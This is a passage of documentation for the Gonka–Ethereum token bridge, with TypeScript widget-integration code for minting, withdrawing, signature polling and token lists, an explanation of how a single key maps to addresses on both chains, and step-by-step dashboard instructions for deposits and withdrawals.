epoch = latestContractEpoch + 1; epoch <= targetEpochId; epoch++) {\n const epochData = await fetchEpochBLSData(orchestratorUrl, epoch);\n const tx = await contract.submitGroupKey(\n epoch,\n epochData.groupPublicKeyHex,\n epochData.validationSignatureHex\n );\n await tx.wait();\n }\n}\nIf the bridge is behind (chainEpoch > bridgeEpoch), the user should be prompted to trigger the sequential epoch sync (syncMissingEpochs) before they are allowed to proceed with Stage 1 (burning assets).
Execute a Cosmos SDK transaction to request a bridge unwrap. This is either a standard CW-20 contract execute message (burning/unwrapping wrapped tokens) or a custom native bridge unwrap transaction type (unwrapping native GNK to WGNK).
"}, {"location": "gonka/docs/cross-chain-transfers/widget-integration/#a-custom-registry-setup", "title": "A. Custom Registry Setup", "text": "If you are using a custom registry to sign custom message types (like MsgRequestBridgeMint), you must register standard CosmWasm types as well (such as wasmTypes containing /cosmwasm.wasm.v1.MsgExecuteContract). Failure to do so will result in an \"Unregistered type URL\" error during CW-20 transactions.
import { Registry } from '@cosmjs/proto-signing';\nimport { defaultRegistryTypes } from '@cosmjs/stargate';\nimport { wasmTypes } from '@cosmjs/cosmwasm-stargate';\n\n// Custom bridge burn / unwrap Msg type registration (for native GNK -> WGNK unwrap)\nexport const MsgRequestBridgeMintType = {\n typeUrl: '/inference.inference.MsgRequestBridgeMint',\n create(message: any) { return message; },\n fromPartial(message: any) { return message; },\n encode(message: any, writer: any) {\n // Requires standard fields: creator, amount, destinationAddress, chainId, destinationBridgeAddress\n return writer;\n },\n decode() { return {}; }\n};\n\nconst customRegistry = new Registry([\n ...defaultRegistryTypes,\n ...wasmTypes, // Crucial for /cosmwasm.wasm.v1.MsgExecuteContract\n ['/inference.inference.MsgRequestBridgeMint', MsgRequestBridgeMintType as any]\n]);\nDepending on the asset being unwrapped, construct either a native unwrap message or a CW-20 execute message:
// 1. For Native GNK -> WGNK:\nconst msg = {\n typeUrl: '/inference.inference.MsgRequestBridgeMint',\n value: {\n creator: senderAddress,\n amount: amountInBaseUnits,\n destinationAddress: recipientEthAddress,\n chainId: 'ethereum',\n destinationBridgeAddress: bridgeContractAddress,\n },\n};\n\n// 2. For CW-20 Wrapped Tokens (e.g. USDT, USDC):\nconst withdrawMsg = {\n withdraw: {\n amount: amountInBaseUnits,\n destination_bridge_address: bridgeContractAddress,\n destination_address: recipientEthAddress,\n },\n};\n\nconst msg = {\n typeUrl: '/cosmwasm.wasm.v1.MsgExecuteContract',\n value: {\n sender: senderAddress,\n contract: cw20ContractAddress,\n msg: new TextEncoder().encode(JSON.stringify(withdrawMsg)),\n funds: [],\n },\n};\nOn Cosmos nodes where transaction indexing is disabled (tx_index = \"off\"), broadcasting a transaction via client.broadcastTx() may throw a transaction indexing is disabled error even though the transaction is committed successfully.
To support these nodes, sign the transaction manually, pre-generate the transaction hash locally (via SHA-256 of the signed TxRaw bytes), and capture the indexer error:
import { toHex } from '@cosmjs/encoding';\nimport { sha256 } from '@cosmjs/crypto';\nimport { TxRaw } from 'cosmjs-types/cosmos/tx/v1beta1/tx';\n\nasync function signAndBroadcastWithIndexerFallback(\n client: SigningCosmWasmClient,\n senderAddress: string,\n messages: any[]\n): Promise<{ transactionHash: string; hasEvents: boolean }> {\n // Sign manually using customRegistry\n const txRaw = await client.sign(senderAddress, messages, 'auto', '');\n const txBytes = TxRaw.encode(txRaw).finish();\n\n // Pre-calculate Tx Hash (SHA-256)\n const txHash = toHex(sha256(txBytes)).toUpperCase();\n\n try {\n const result = await client.broadcastTx(txBytes);\n return { transactionHash: result.transactionHash, hasEvents: true };\n } catch (error: any) {\n if (error.message.includes('transaction indexing is disabled')) {\n // The transaction was broadcast successfully, but the node will not return events\n return { transactionHash: txHash, hasEvents: false };\n }\n throw error;\n }\n}\nWhen the burn transaction completes on Gonka, you need to extract the request_id and epoch_id to poll the validators' signatures.
If the RPC node has transaction indexing enabled, you can read the request_id directly from the transaction events. Otherwise, you must query the orchestrator's state history endpoint to look up the request.
// 1. Event-based Resolution (Indexing Enabled)\nfunction parseUnwrapEvents(txResult: any): { requestId: string; epochId: number } {\n const blsEvent = txResult.events?.find((e: any) => e.type.includes('EventThresholdSigningRequested'));\n if (!blsEvent) throw new Error('BLS signing request event not found.');\n\n const getAttr = (key: string) => blsEvent.attributes.find((a: any) => a.key === key).value.replace(/^\"|\"$/g, '');\n return {\n requestId: getAttr('request_id'),\n epochId: parseInt(getAttr('current_epoch_id'), 10),\n };\n}\n\n// 2. State History Fallback (Indexing Disabled / tx_index = \"off\")\n// Query the Cosmos node's state history registry: `GET {nodeUrl}/productscience/inference/bls/signing_history?pagination.limit=100&pagination.reverse=true`\n// \n// Example Response:\n// {\n// \"signing_requests\": [\n// {\n// \"request_id\": \"9/Pl3Hztt0KrZTMOQvXv87lNSM+SC4wjuUbJbZU3z8Y=\",\n// \"current_epoch_id\": \"287\",\n// \"status\": \"THRESHOLD_SIGNING_STATUS_COMPLETED\",\n// \"created_block_height\": \"4438273\",\n// \"data\": [\n// \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE=\",\n// \"CsXlVAEeF4b1Bz8kMHvW1ii+NAmDSyqIoH38Wvmzcu4=\"\n// ]\n// }\n// ]\n// }\nasync function resolveRequestFromHistory(\n nodeUrl: string,\n recipientEthAddress: string,\n amount: string\n): Promise<{ requestId: string; epochId: number }> {\n // Convert EVM hex address to Base64 (orchestrator storage format)\n const recipientHex = recipientEthAddress.toLowerCase().replace(/^0x/, '');\n const bytes = new Uint8Array(recipientHex.length / 2);\n for (let i = 0; i < bytes.length; i++) {\n bytes[i] = parseInt(recipientHex.substring(i * 2, i * 2 + 2), 16);\n }\n const recipientB64 = btoa(String.fromCharCode(...Array.from(bytes)));\n\n // Query signing history registry\n const url = `${nodeUrl}/productscience/inference/bls/signing_history?pagination.limit=100&pagination.reverse=true`;\n const res = await fetch(url).then(r => r.json());\n const requests = res.signing_requests || [];\n\n // Match recipient and amount\n const matches = requests.filter((r: any) => r.data && r.data.some((d: string) => d === recipientB64));\n if (matches.length === 0) throw new Error('Transaction not found in signing history');\n\n // Sort descending by block height to get the latest\n matches.sort((a: any, b: any) => parseInt(b.created_block_height) - parseInt(a.created_block_height));\n const matched = matches[0];\n\n // Convert Base64 request_id to hex\n const reqIdBytes = Uint8Array.from(atob(matched.request_id), c => c.charCodeAt(0));\n const reqIdHex = '0x' + Array.from(reqIdBytes).map(b => b.toString(16).padStart(2, '0')).join('');\n\n return {\n requestId: reqIdHex,\n epochId: parseInt(matched.current_epoch_id, 10),\n };\n}\nIMPORTANT: Base64 to Hex Translation: If you resolved the request_id via event attributes (Base64-encoded, e.g. YIDIsA...), you must decode the Base64 string directly to bytes, and then represent them as a 32-byte Hexadecimal string (e.g., 0x6080c8...). Do not apply hashing functions like Keccak256 or SHA-256 to the Base64 string.
function base64ToHex(base64Str: string): string {\n const binary = atob(base64Str);\n const bytes = new Uint8Array(binary.length);\n for (let i = 0; i < binary.length; i++) {\n bytes[i] = binary.charCodeAt(i);\n }\n return '0x' + Array.from(bytes).map(b => b.toString(16).padStart(2, '0')).join('');\n}\nPoll the BLS signatures endpoint ({orchestratorUrl}/bls/signatures/{hexRequestId}) until a valid signature is generated by validators.
Example Response:
{\n \"signing_request\": {\n \"request_id\": \"9/Pl3Hztt0KrZTMOQvXv87lNSM+SC4wjuUbJbZU3z8Y=\",\n \"current_epoch_id\": 287,\n \"status\": 3\n },\n \"uncompressed_signature_128\": \"AAAAAAAAAAAAAAAAAAAAABii5ArDtPtnmRw87QXJJRLlMohL3+fEWhuVKJqrh...\"\n}\n// Watch out for backend enum representations (integers vs strings)\n// e.g. status 3 or 'THRESHOLD_SIGNING_STATUS_COMPLETED' represents success\nconst COMPLETED_STATUSES = new Set([3, '3', 'THRESHOLD_SIGNING_STATUS_COMPLETED']);\nconst FAILED_STATUSES = new Set([4, '4', 'THRESHOLD_SIGNING_STATUS_FAILED']);\n\nasync function pollBlsSignature(orchestratorUrl: string, hexRequestId: string): Promise<string> {\n const url = `${orchestratorUrl}/bls/signatures/${hexRequestId.replace(/^0x/, '')}`;\n\n while (true) {\n const data = await fetch(url).then(r => r.json());\n const status = data?.signing_request?.status;\n\n if (COMPLETED_STATUSES.has(status)) {\n const sigBase64 = data?.uncompressed_signature_128;\n if (!sigBase64) {\n throw new Error('Signature completed but uncompressed_signature_128 is missing.');\n }\n\n // Convert 128-byte Base64 signature to Hex format for EVM submission\n const sigBytes = Uint8Array.from(atob(sigBase64), c => c.charCodeAt(0));\n const sigHex = '0x' + Array.from(sigBytes).map(b => b.toString(16).padStart(2, '0')).join('');\n return sigHex;\n }\n\n if (FAILED_STATUSES.has(status)) {\n throw new Error('BLS signature generation failed.');\n }\n\n await new Promise(resolve => setTimeout(resolve, 3000)); // Poll every 3 seconds\n }\n}\nCall mintWithSignature on the Ethereum bridge contract, submitting the validators' signature data.
import { ethers } from 'ethers';\n\nconst BRIDGE_ABI = [\n 'function withdraw((uint64 epochId, bytes32 requestId, address recipient, address tokenContract, uint256 amount, bytes signature) cmd) external',\n 'function mintWithSignature((uint64 epochId, bytes32 requestId, address recipient, uint256 amount, bytes signature) cmd) external',\n];\n\nasync function mintOnEthereum(\n ethProvider: any,\n bridgeAddress: string,\n mintParams: {\n epochId: number;\n requestId: string; // 32-byte hex string (0x...)\n recipient: string;\n amount: string;\n signature: string; // 128-byte hex signature\n tokenContract?: string; // Required for ERC-20 unwraps\n isNativeGNK?: boolean;\n }\n) {\n const provider = new ethers.BrowserProvider(ethProvider);\n const signer = await provider.getSigner();\n const contract = new ethers.Contract(bridgeAddress, BRIDGE_ABI, signer);\n\n let tx;\n if (mintParams.isNativeGNK) {\n const cmd = {\n epochId: mintParams.epochId,\n requestId: mintParams.requestId,\n recipient: mintParams.recipient,\n amount: mintParams.amount,\n signature: mintParams.signature,\n };\n tx = await contract.mintWithSignature(cmd);\n } else {\n const cmd = {\n epochId: mintParams.epochId,\n requestId: mintParams.requestId,\n recipient: mintParams.recipient,\n tokenContract: mintParams.tokenContract,\n amount: mintParams.amount,\n signature: mintParams.signature,\n };\n tx = await contract.withdraw(cmd);\n }\n\n const receipt = await tx.wait();\n if (!receipt || receipt.status === 0) {\n throw new Error('Transaction reverted on-chain');\n }\n return receipt.hash;\n}\nTo prevent users from losing their transaction state in case of a browser crash, network disconnection, or tab closure, it is highly recommended (though optional) to implement a Resilience Caching Pattern:
const cacheKey = `pending_unwrap_${userCosmosAddress}`;\nlocalStorage.setItem(cacheKey, JSON.stringify({\n status: 'burning',\n gonkaTxHash: '',\n amount: amountInBaseUnits,\n destinationEthAddress,\n step: 1\n}));\nrequest_id is resolved.localStorage.getItem(cacheKey) exists. If found, display a \"Pending Transaction Detected\" card allowing the user to either:localStorage key.To ensure a seamless user experience, the widget dynamically queries and resolves available assets and their metadata (symbols, decimals) from both the Cosmos and Ethereum chains.
"}, {"location": "gonka/docs/cross-chain-transfers/widget-integration/#a-deposit-token-list-alldeposittokens", "title": "A. Deposit Token List (allDepositTokens)", "text": "The deposit drop-down displays the list of assets the user can bridge onto Gonka. This list is constructed by merging and resolving metadata for approved tokens and WGNK:
GET {nodeUrl}/productscience/inference/inference/approved_tokens_for_trade.GET {nodeUrl}/productscience/inference/inference/bridge_addresses/ethereum). If the resolved bridge contract address (WGNK) is not present in the approved tokens list, dynamically append WGNK (with 9 decimals) to allow users to wrap native GNK.GET {nodeUrl}/cosmos/bank/v1beta1/denoms_metadata/{denom}.eth_call actions (0x95d89b41 for symbol() and 0x313ce567 for decimals()).// Inject WGNK dynamically if missing from the approved tokens list\nconst allDepositTokens = computed(() => {\n const list = [...supportedIbcTokens.value, ...supportedEthTokens.value];\n if (resolvedBridgeAddress.value && resolvedBridgeAddress.value.startsWith('0x')) {\n const hasWgnk = list.some(\n t => t.symbol === 'WGNK' || \n String(t.contractAddress).toLowerCase() === resolvedBridgeAddress.value.toLowerCase()\n );\n if (!hasWgnk) {\n list.push({\n chainId: 'ethereum',\n contractAddress: resolvedBridgeAddress.value,\n symbol: 'WGNK',\n decimals: 9,\n type: 'eth',\n });\n }\n }\n return list;\n});\n\n// Direct ERC-20 metadata queries via JSON-RPC eth_call\nasync function queryEvmRpc(to: string, data: string, rpcUrl: string): Promise<string> {\n const response = await fetch(rpcUrl, {\n method: 'POST',\n headers: { 'Content-Type': 'application/json' },\n body: JSON.stringify({\n jsonrpc: '2.0',\n method: 'eth_call',\n params: [{ to, data }, 'latest'],\n id: 1\n })\n }).then(r => r.json());\n return response?.result || '0x';\n}\n\n// Parsing ERC-20 Symbol name from hex string\nfunction parseBytes32OrString(hex: string): string {\n if (!hex || hex === '0x') return '';\n const clean = hex.replace(/^0x/i, '');\n if (clean.length < 64) return '';\n\n const offset = parseInt(clean.substring(0, 64), 16);\n if (offset === 32 && clean.length >= 128) {\n const length = parseInt(clean.substring(64, 128), 16);\n if (length > 0 && length <= 1000) {\n const dataHex = clean.substring(128, 128 + length * 2);\n let str = '';\n for (let i = 0; i < dataHex.length; i += 2) {\n const charCode = parseInt(dataHex.substring(i, i + 2), 16);\n if (charCode >= 32 && charCode <= 126) {\n str += String.fromCharCode(charCode);\n }\n }\n return str.trim();\n }\n }\n return '';\n}\nwithdrawableTokens)", "text": "The withdrawal drop-down displays the list of assets in the user's wallet that can be bridged out of Gonka. Constructing this list requires combining three sub-actions to merge different token sources:
GET {nodeUrl}/productscience/inference/inference/wrapped_token_balances/{walletAddress}.Example Response:
{\n \"balances\": [\n {\n \"token_info\": {\n \"chainId\": \"ethereum\",\n \"contractAddress\": \"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\",\n \"wrappedContractAddress\": \"gonka1fa83z7np903k9vh63guy82qthtv373d7vjeq0y7xeqh50rzn8vtssffkre\"\n },\n \"symbol\": \"USDC\",\n \"balance\": \"15000000\",\n \"decimals\": \"6\",\n \"formatted_balance\": \"15.0\"\n }\n ]\n}\nOptional Recommendation: Dynamic Contract Discovery & Caching
If you want to dynamically discover all wrapped token contracts deployed on the Gonka chain, you can query all contract addresses deployed under the wrapped token code ID 105:
GET {nodeUrl}/cosmwasm/wasm/v1/code/105/contracts
Example Response:
{\n \"contracts\": [\n \"gonka1fa83z7np903k9vh63guy82qthtv373d7vjeq0y7xeqh50rzn8vtssffkre\",\n \"gonka15ggwj9un6qrmu4nj5ev6l7kpdcr00td03ff2mmj4cyhl8u8vjd2qnl3hgk\"\n ],\n \"pagination\": { \"next_key\": null, \"total\": \"0\" }\n}\nTo fetch the metadata (symbol, name, decimals) for each contract address, perform a smart contract query for token_info:
GET {nodeUrl}/cosmwasm/wasm/v1/contract/{contractAddress}/smart/eyJ0b2tlbl9pbmZvIjp7fX0= (where eyJ0b2tlbl9pbmZvIjp7fX0= is the Base64 encoding of {\"token_info\":{}})
Example Response:
{\n \"data\": {\n \"name\": \"USD Coin\",\n \"symbol\": \"USDC\",\n \"decimals\": 6,\n \"total_supply\": \"1400000\"\n }\n}\nTo optimize widget performance and avoid repetitive on-chain smart queries, we highly recommend caching this contract metadata locally.
GET {nodeUrl}/cosmos/bank/v1beta1/balances/{address}.Example Response:
{\n \"balances\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000000000\"\n },\n {\n \"denom\": \"ibc/ED07A3391A112B175915CD8FAF43A2153E30D7181A2E45558B93F44C2754781B\",\n \"amount\": \"5000000\"\n }\n ],\n \"pagination\": { \"next_key\": null, \"total\": \"2\" }\n}\nTo construct the final withdrawable tokens list, fetch the balances and merge them together:
async function getWrappedTokenBalances(nodeUrl: string, walletAddress: string) {\n const response = await fetch(`${nodeUrl}/productscience/inference/inference/wrapped_token_balances/${walletAddress}`);\n const data = await response.json();\n return data?.balances || [];\n}\n\nasync function getIbcBalances(nodeUrl: string, walletAddress: string, ibcDenom: string) {\n const balUrl = `${nodeUrl}/cosmos/bank/v1beta1/balances/${walletAddress}/by_denom?denom=${encodeURIComponent(ibcDenom)}`;\n const response = await fetch(balUrl);\n const data = await response.json();\n return data?.balance?.amount || '0';\n}\n\n// Combine wrapped balances with native GNK token staking balances for unwrap\nconst withdrawableTokens = computed(() => {\n const list = [...wrappedTokenBalances.value]; // Contains both native IBC balances & CW20 wrapped balances\n if (walletAddress.value) {\n const gnkBalance = walletStore.balanceOfStakingToken;\n const gnkAmt = parseFloat(gnkBalance.amount || '0') / 1_000_000_000;\n const hasGnk = list.some(t => t.symbol === 'GNK');\n if (!hasGnk && gnkAmt > 0) {\n list.unshift({\n symbol: 'GNK',\n full_denom: gnkBalance.denom,\n formatted_balance: gnkAmt.toString(),\n decimals: 9,\n isNative: false,\n isGnk: true,\n token_info: {\n chainId: 'ethereum',\n contractAddress: '', // mapped dynamically to bridge contract\n }\n });\n }\n }\n return list;\n});\nWarning
Always start with a small test transaction. Bridge transfers are irreversible, so before moving large amounts, send a small amount first and confirm it arrives as expected.
The dedicated Bridge smart contract, controlled by the Gonka consensus, is active on Ethereum at the address:
0x972a7a92d92796a98801a8818bcf91f1648f2f68\nThis is the single most important page to understand before bridging. Read it before your first transfer.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/addresses-and-keys/#one-key-two-addresses", "title": "One key, two addresses", "text": "Ethereum and Gonka both use the same kind of cryptographic key (a secp256k1 key pair). A single private key therefore controls an account on both chains. The two chains only differ in how they turn the public key into a human-readable address:
0x... (20 bytes, hex) keccak256(uncompressed_public_key) → last 20 bytes Gonka gonka1... (bech32) ripemd160(sha256(compressed_public_key)) → bech32 with the gonka prefix So a single private key produces two different-looking addresses — one 0x… and one gonka1… — but both are controlled by that same key.
When you bridge tokens from Ethereum to Gonka, you send them to the bridge contract and sign that Ethereum transaction with your Ethereum private key. The Gonka bridge:
gonka1… standard derivation above).gonka1… address.In other words: the wrapped tokens are delivered to the Gonka address generated from the same public key — and controlled by the same private key — that signed the Ethereum deposit. To spend them, you must use the same key on Gonka.
The reverse direction works the other way around: bridging back to Ethereum, you specify the destination address explicitly in the withdrawal transaction, whereas bridging to Gonka you cannot choose the recipient — it is fixed by your key.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/addresses-and-keys/#the-seed-phrase-pitfall-read-this", "title": "The seed-phrase pitfall (read this!)", "text": "Most users never see their raw private key — they only have a seed phrase (mnemonic) and let their wallet derive keys for them. This is convenient, but it creates a trap for bridging:
A seed phrase does not map to a single key. Wallets derive keys from it using BIP-44 derivation paths, and each blockchain uses a different path:
m/44'/60'/0'/0/0m/44'/1200'/0'/0/0Because the paths differ, the same seed phrase produces two completely different private keys for Ethereum and Gonka — and therefore two unrelated addresses. If you deposit from a seed-derived Ethereum account and then look at the seed-derived Gonka account in your wallet, they are not the same key, so the bridged tokens will land on a gonka1… address your wallet is not currently showing you. You still control that address (you can derive the Ethereum key from the same mnemonic using coin type 60 and use it on Gonka), but your wallet won't display it without a manual derivation step.
Danger
Do not assume \"same seed phrase = same account on both chains.\" For the bridge you need the same private key on both chains, not the same seed phrase. Using the standard, different derivation paths will send your funds to an address derived from your Ethereum key — which your Gonka wallet, derived on a different path, does not control. This is not a loss, you can still derive your Ethereum private key from the same seed phrase, and that key controls the receiving account on the Gonka chain.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/addresses-and-keys/#how-to-get-the-matching-gonka-address", "title": "How to get the matching Gonka address", "text": "You have two options.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/addresses-and-keys/#option-a-use-the-dashboard-recommended", "title": "Option A — Use the dashboard (recommended)", "text": "The Gonka dashboard solves the derivation for you. Connect the same Ethereum wallet you bridge with, and the dashboard derives and displays the correct gonka1… address that the bridge will use, shows your wrapped balances, and guides the deposit/withdraw flow. This avoids handling raw private keys yourself and removes the seed-phrase confusion described above.
Open the dashboard at:
https://node1.gonka.ai:8443/dashboard/\nIf you work from the CLI, import the exact same secp256k1 private key (hex) that controls your Ethereum account into the Gonka keyring. The resulting gonka1… address is the one the bridge mints to:
inferenced keys import-hex <key_name> <YOUR_PRIVATE_KEY_HEX>\n\n# Show the derived Gonka address\ninferenced keys show <key_name> -a\nThe address printed here is exactly the gonka1… address that will receive your bridged tokens, and the key can sign Gonka transactions (transfers, withdrawals) for them.
Warning
Importing a raw private key exposes it to the machine and keyring you import it on. Prefer a file-based keyring (--keyring-backend file) on a secure machine, and never paste a private key that also guards significant Ethereum funds onto an untrusted host. When in doubt, use the dashboard.
gonka1… address from that key (dashboard, or import-hex).0x… Ethereum address from that key, fund it with the token and enough ETH for gas.gonka1… address.Gonka → Ethereum transfers use a BLS signature from the current Gonka epoch. The Ethereum bridge contract must know the current epoch's group key before it can verify that signature and release funds on Ethereum.
At the start of each epoch, about once per day, Gonka creates a new group key. A small Ethereum transaction registers that key on the bridge contract. Usually this is already done, but the bridge can briefly lag behind the Gonka chain just after an epoch change.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/bridge-epoch-update/#when-you-need-this", "title": "When you need this", "text": "You may need an epoch update if a Gonka → Ethereum withdrawal or WGNK mint is ready, but Ethereum execution cannot proceed because the bridge is behind the chain.
On the dashboard, this can appear as:
A Bridge needs epoch update\nBridge: Epoch 283 | Chain: Epoch 284 (1 behind)\n\nWithdrawals to Ethereum require the bridge to be synced to the current epoch.\nIf you see this, click Update bridge in the dashboard. Any user can submit the update. It is a normal Ethereum transaction, so the wallet that clicks the button pays Ethereum gas once for the update.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/bridge-epoch-update/#manual-update", "title": "Manual update", "text": "If you are not using the dashboard, submit each missing epoch in order:
latest + 1.curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/bls/epoch_data/<epochId>\"\ngroup_public_key and validation_signature fields with the bridge update script:HARDHAT_NETWORK=mainnet node submit-epoch-public.js \\\n 0x972a7a92d92796a98801a8818bcf91f1648f2f68 \\\n <epochId> \\\n <group_public_key> \\\n <validation_signature>\nNote
The bridge contract only accepts the next sequential epoch key, signed by the previous epoch key. If the bridge is more than one epoch behind, submit the missing epochs one by one.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/dashboard/", "title": "Bridge via dashboard (UI guide)", "text": "Warning
Always start with a small test transaction. Bridge transfers are irreversible, so before moving large amounts, send a small amount first and confirm it arrives as expected.
The dedicated Bridge smart contract, controlled by the Gonka consensus, is active on Ethereum at the address:
0x972a7a92d92796a98801a8818bcf91f1648f2f68\nThe dashboard is the easiest way to bridge. It handles the key derivation for you (see Addresses and keys), so you don't need to import private keys or compute addresses by hand.
Tip
Prefer the dashboard if you are not comfortable with the CLI or with handling raw private keys. The step-by-step CLI flows are documented in Deposit USDT, Withdraw USDT, Deposit GNK, and Withdraw GNK if you prefer to do it manually.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/dashboard/#what-the-dashboard-does-for-you", "title": "What the dashboard does for you", "text": "gonka1… address the bridge will deliver tokens to — so you always know where your wrapped tokens will land.The dashboard supports the full set of transfers without using the CLI:
This section walks you through depositing tokens to Gonka using the bridge widget. Select the token from the Token dropdown — the widget detects the bridge type automatically:
gonka1… address.Open one of the genesis nodes in your browser:
Navigate to the Developers section in the left sidebar. You will see the bridge widget at the bottom of the page with WITHDRAW / DEPOSIT toggles.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/dashboard/#2-connect-your-keplr-wallet", "title": "2. Connect your Keplr wallet", "text": "Make sure the DEPOSIT toggle is selected. Click CONNECT WALLET.
A dialog will appear with the available wallet options. Select KEPLR.
Keplr shows \"Not Installed\"?
If you see a \"Not Installed\" message, you need to install the Keplr browser extension first. Follow the instructions in Create a Gonka account → Keplr browser extension to set it up, then return here.
Enter your Keplr password if prompted. Once connected, the widget will show Keplr Connected with your shortened Gonka address and your GNK balance. Click CONTINUE to proceed.
Seed-phrase (mnemonic) accounts
If your Gonka account was created from a seed phrase (mnemonic) rather than a raw private key, the bridge widget will detect the address mismatch and warn you. This happens because Ethereum and Gonka derive different keys from the same seed phrase, so tokens will be delivered to a different gonka1… address than your wallet currently shows. The funds are not lost — you can derive the matching key from the same mnemonic — but it requires a manual derivation step. If you see this warning, stop and read Addresses and keys before proceeding.
On Step 2, select the token you want to deposit from the Token dropdown and enter the Amount. The widget displays your current balance and the Receiving address on Gonka is auto-filled from your connected wallet.
The widget shows the estimated processing time and approximate fee (the fee currency depends on the bridge type — see the table above).
ERC-20 (USDC)GNKIBC (USDT)Click REVIEW & BRIDGE.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/dashboard/#4-confirm-the-transaction", "title": "4. Confirm the transaction", "text": "Your wallet will open a Confirm Transaction screen. Review the details carefully before approving:
ERC-20 (USDC)GNKIBC (USDT)0x972a7A92…648f2F68). This is expected — you are sending tokens to the bridge, which will then mint wrapped tokens on Gonka.IBC Transfer.Click Approve to submit the transaction.
Warning
Double-check the details before confirming. Bridge transfers are irreversible. If anything looks wrong, click ✕ to cancel and start over.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/dashboard/#5-deposit-complete", "title": "5. Deposit complete", "text": "The widget will show a Deposit complete screen with a summary of the operation.
ERC-20 (USDC)GNKIBC (USDT)The progress tracker shows:
From this screen you can:
You can confirm your wrapped tokens arrived in several ways:
https://node2.gonka.ai:8443/dashboard/gonka/account/<your_gonka_address> and check your balances.Wrapped ERC-20 tokens (such as wUSDC and wUSDT) are CW-20 tokens on the Gonka chain. Keplr does not detect CW-20 tokens automatically, so you need to add them as custom tokens.
Note
IBC tokens (transferred via IBC, not the Ethereum bridge) appear in Keplr automatically. The manual steps below are only needed for bridge-wrapped CW-20 tokens.
Step 1. Open your Keplr wallet, click the menu icon (three horizontal lines) in the top-right corner, and select Manage Asset List.
Step 2. Click the + button in the top-right corner to add a custom token.
Step 3. On the Add Custom Token page, select Gonka from the chain dropdown. Paste the CW-20 contract address into the Contract Address field. The token metadata (name, symbol, decimals) will be filled in automatically. Click Confirm.
Known contract addresses:
Token CW-20 contract address on Gonka USDCgonka1fa83z7np903k9vh63guy82qthtv373d7vjeq0y7xeqh50rzn8vtssffkre USDT gonka15ggwj9un6qrmu4nj5ev6l7kpdcr00td03ff2mmj4cyhl8u8vjd2qnl3hgk Step 4. Done — the token now appears in your Keplr wallet as a Gonka CW20 token.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/dashboard/#withdraw-tokens-from-gonka", "title": "Withdraw tokens from Gonka", "text": "This section walks you through withdrawing tokens from Gonka using the bridge widget. Select the token from the Token dropdown — the widget detects the bridge type automatically:
Open one of the genesis nodes in your browser:
Navigate to the Developers section in the left sidebar. Select the WITHDRAW toggle in the bridge widget.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/dashboard/#2-connect-your-keplr-wallet_1", "title": "2. Connect your Keplr wallet", "text": "Make sure the WITHDRAW toggle is selected. Click CONNECT WALLET.
A dialog will appear with the available wallet options. Select KEPLR.
Keplr shows \"Not Installed\"?
If you see a \"Not Installed\" message, you need to install the Keplr browser extension first. Follow the instructions in Create a Gonka account → Keplr browser extension to set it up, then return here.
Enter your Keplr password if prompted. Once connected, the widget will show Keplr Connected with your shortened Gonka address and your GNK balance. Click CONTINUE to proceed.
Seed-phrase (mnemonic) accounts
If your Gonka account was created from a seed phrase (mnemonic) rather than a raw private key, the bridge widget will detect the address mismatch and warn you. This happens because Ethereum and Gonka derive different keys from the same seed phrase, so tokens will be released to a different Ethereum address than your wallet currently shows. The funds are not lost — you can derive the matching key from the same mnemonic — but it requires a manual derivation step. If you see this warning, stop and read Addresses and keys before proceeding.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/dashboard/#3-choose-token-and-amount_1", "title": "3. Choose token and amount", "text": "On Step 2, select the token you want to withdraw from the Token dropdown and enter the Amount. The widget displays your current balance of that token on Gonka. The Destination Address is auto-filled from your connected wallet.
Tip
Unlike deposits, you can edit the destination field to withdraw to a different address. Make sure it's an address you control and that it's entered correctly.
GNKERC-20 (USDC)IBC (USDT)The destination address is a kava1… address on the Kava chain. Processing time is ~1–3 minutes.
Click REVIEW & BRIDGE.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/dashboard/#4-confirm-the-transaction-on-gonka", "title": "4. Confirm the transaction on Gonka", "text": "Keplr will open a Confirm Transaction popup for the Gonka chain. Review the details and click Approve.
GNKERC-20 (USDC)IBC (USDT)MsgRequestBridgeMint, which locks your GNK on Gonka and requests minting of WGNK on Ethereum.Execute Wasm Contract call to the wrapped token's CW-20 contract with a withdraw payload.IBC Transfer.Warning
Double-check the details before confirming. Bridge transfers are irreversible. If anything looks wrong, click ✕ to cancel and start over.
For ETH / GNK bridge: after you approve, the progress tracker marks Burn tokens on Gonka as complete. The Gonka validators then automatically collect and aggregate their BLS signatures (Validator signatures step) — no action is required from you during this stage.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/dashboard/#5-confirm-the-release-transaction-on-ethereum-eth-gnk-bridge-only", "title": "5. Confirm the release transaction on Ethereum (ETH / GNK bridge only)", "text": "Note
This step applies only to ETH bridge and GNK bridge withdrawals. For IBC withdrawals, the transfer completes automatically after Step 4 — skip to Step 6.
Once the validators have produced the BLS aggregate signature (Validator signatures — done), Keplr opens a second popup — this time for the Ethereum chain. This transaction executes the bridge contract (0x972a7a92…648f2f68) to release the tokens on Ethereum.
Click Approve to submit the release transaction.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/dashboard/#6-withdrawal-complete", "title": "6. Withdrawal complete", "text": "The widget shows a Withdrawal complete screen with all stages marked as done.
GNKERC-20 (USDC)IBC (USDT)The progress tracker shows:
From this screen you can:
You can confirm your tokens arrived in several ways:
Warning
